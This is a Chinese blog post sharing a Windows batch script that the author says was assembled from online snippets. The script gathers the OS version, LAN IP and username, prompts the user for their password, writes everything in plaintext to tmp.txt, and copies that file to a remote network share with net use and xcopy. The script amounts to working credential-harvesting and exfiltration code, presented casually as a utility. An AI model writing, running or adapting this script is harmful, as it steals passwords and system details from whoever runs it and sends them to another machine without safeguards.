bat获取系统版本、IP、用户名

这个代码是我网上拼凑的

主要是判断系统的版本,ip还有用户名,然后会提示输入密码。

输入密码后保存到tmp.txt ,再把这个文件copy到我的共享盘里面。

复制代码
@echo off

for /f "tokens=4" %%a in ('route print^|findstr 0.0.0.0.*0.0.0.0') do (
 set IP=%%a
)
if /i not "%os%"=="Windows_NT" (set TheOS=非Windows系统&set TheBit=) else (
ver | find "4.0" > nul && set TheOS=Windows 95
ver | find "4.10"> nul && set TheOS=Windows 98
ver | find "4.90"> nul && set TheOS=Windows me
ver | find "3.51"> nul && set TheOS=Windows NT35
ver | find "5.0" > nul && set TheOS=Windows 2000
ver | find "5.1" > nul && set TheOS=Windows XP
ver | find "5.2" > nul && set TheOS=Windows 2003
ver | find "6.0" > nul && set TheOS=Windows Vista
ver | find "6.1" > nul && set TheOS=Windows 7
ver | find "6.2" > nul && set TheOS=Windows 8
ver | find "10.0"> nul && set TheOS=Windows 10
set TheBit=x%PROCESSOR_ARCHITECTURE:~-2%
)
echo %cd%\tmp.pas
echo ---------------------------------
echo 你的系统是:          %TheOS% %TheBit% > %cd%\tmp.txt
echo 你的系统是:          %TheOS% %TheBit% > %cd%\tmp.txt
echo -
echo 你的局域网IP是:    %IP% >> %cd%\tmp.txt
echo 你的局域网IP是:    %IP% 
echo -
echo 你的本机用户名是: %username% 
echo 你的本机用户名是: %username% >> %cd%\tmp.txt
echo Input you password ......
set /p password=
echo 你的本机密码是:    %password%. >> %cd%\tmp.txt
rem 以下是把文件存到我的共享文件夹
net use \\192.168.50.24  
xcopy %cd%\tmp.txt \\192.168.0.0\tmp\ /s/d/y
set password=
pause
复制代码

 

posted @   Pasple  阅读(860)  评论(0编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· AI 智能体引爆开源社区「GitHub 热点速览」
· 写一个简单的SQL生成工具
点击右上角即可分享
微信分享提示